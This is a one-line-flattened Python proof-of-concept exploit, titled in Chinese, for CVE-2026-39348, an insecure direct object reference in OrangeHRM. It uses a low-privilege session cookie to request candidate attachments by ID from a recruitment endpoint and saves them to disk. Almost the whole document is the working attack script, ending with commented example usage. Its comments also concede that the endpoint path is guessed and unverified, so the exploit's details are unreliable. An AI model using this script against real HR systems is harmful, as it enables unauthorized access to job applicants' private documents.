CVE-2026-39348 OrangeHRM越权读取附件漏洞

# PoC for CVE-2026-39348: IDOR in OrangeHRM Attachment Download # Description: Exploits missing authorization check to download attachments by ID. import requests def exploit_orangehrm_idor(target_url, session_cookie, attachment_id): """ Attempts to download an attachment using a low-privilege session. """ # The vulnerable endpoint might be similar to this structure based on the advisory # Note: The exact endpoint path needs to be verified against the specific version url = f"{target_url}/index.php/recruitment/viewCandidateAttachment/{attachment_id}" headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.get(url, headers=headers) if response.status_code == 200: print(f"[+] Successfully downloaded attachment ID: {attachment_id}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # Save the file with open(f"attachment_{attachment_id}", "wb") as f: f.write(response.content) return True else: print(f"[-] Failed to download. Status code: {response.status_code}") return False except Exception as e: print(f"[-] Error: {e}") return False # Example usage # target = "http://localhost/orangehrm" # cookie = "PHPSESSID=attacker_session_id_here" # exploit_orangehrm_idor(target, cookie, 1)